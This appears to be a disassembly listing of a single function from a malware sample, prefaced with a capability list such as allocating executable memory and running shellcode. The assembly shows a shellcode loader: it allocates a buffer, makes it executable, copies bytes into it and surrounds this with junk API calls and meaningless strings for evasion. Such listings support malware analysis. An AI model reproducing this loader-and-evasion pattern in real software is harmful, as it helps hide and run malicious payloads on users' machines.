Function at 0x401620
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Extract resource via kernel32 functions
Get hostname
Terminate thread

Disassembly:
push ecx
push 0x80d2f8
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
ret
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x806688
push eax
mov dword fs:[0], esp
sub esp, 0x58c
cmp dword [0xc2b520], 0x5b1
push ebx
push esi
push edi
jne 0x4016f3
push 0
push 0
push 0
lea eax, [ebp - 0x18]
push eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_BackupWrite]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push 0
call dword [sym.imp.KERNEL32.dll_FindAtomA]
lea ecx, [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
lea esi, [ebp - 0x3c]
call fcn.00401ca0
push 0
mov dword [ebp - 4], 0
call fcn.00403be8
push 0
push 0
call fcn.004039b0
add esp, 0xc
jmp 0x401610
mov eax, dword [0xc2b520]
add eax, 0x1134b
push eax
push 0
mov dword [0xc2b520], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edx, dword [0xc2b520]
lea ecx, [ebp - 0x14]
push ecx
push 0x40
push edx
push eax
mov dword [0xc2a474], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edi, dword [sym.imp.GDI32.dll_GetDeviceGammaRamp]
xor esi, esi
lea esp, [esp]
cmp esi, 0x2710
jge 0x401743
lea eax, [ebp - 0x598]
push eax
push 0
call edi
inc esi
cmp esi, 0x1ff49ccc
jl 0x401730
xor esi, esi
cmp dword [0xc2b520], esi
jbe 0x4017a7
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov ebx, dword [sym.imp.KERNEL32.dll_GetVersionExW]
mov ecx, dword [0xc2b524]
mov dl, byte [ecx + esi + 0x1134b]
mov eax, dword [0xc2a474]
mov byte [eax + esi], dl
cmp dword [0xc2b520], 0xa8
jne 0x40179e
push 0
lea ecx, [ebp - 0x10]
push ecx
call edi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
lea edx, [ebp - 0x198]
push edx
call ebx
inc esi
cmp esi, dword [0xc2b520]
jb 0x401762
mov esi, dword [ebp - 0x14]
mov edi, dword [sym.imp.KERNEL32.dll_TerminateThread]
mov ebx, dword [sym.imp.KERNEL32.dll_FindFirstChangeNotificationA]
xor eax, eax
mov dword [ebp - 0x10], eax
jmp 0x4017c0
mov ecx, dword [0xc2b520]
add ecx, eax
cmp ecx, 0xe
jne 0x40182f
push esi
push 0
call edi
push 0
push 0
push str.judoyezobum
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea edx, [ebp - 0x1c]
push edx
push 0
push str.sikedanaziyacixobi_herevolibekolehecehajapubuco_nehubitivuvorunuhowivo_gecata
push 0
call dword [sym.imp.KERNEL32.dll_GetStringTypeW]
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthA]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCalendarInfoA]
push 0
call dword [sym.imp.KERNEL32.dll_SetComputerNameW]
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenSemaphoreW]
mov eax, dword [ebp - 0x10]
inc eax
cmp eax, 0x39621
mov dword [ebp - 0x10], eax
jl 0x4017c0
call fcn.00401500
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
xor esi, esi
call edi
cmp esi, 0x26
jne 0x401853
call fcn.004015f0
inc esi
cmp esi, 0x6753f
jl 0x401847
mov esi, dword [sym.imp.KERNEL32.dll_GetFileType]
mov edi, dword [sym.imp.KERNEL32.dll_CreateHardLinkA]
mov ebx, dword [sym.imp.KERNEL32.dll_EndUpdateResourceW]
mov dword [ebp - 0x10], 0x7b
jmp 0x401880
cmp dword [0xc2b520], 0x86
jne 0x4018ae
push 0
call esi
push 0
push str.Nebuxazivo_dilipivajotimo_tewakow_cenu_xun
push str.Mukajihesecuv_wirido_vih_bivejexuju_faco
call edi
push 0
push 0
call ebx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
sub dword [ebp - 0x10], 1
jne 0x401880
call fcn.00401260
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret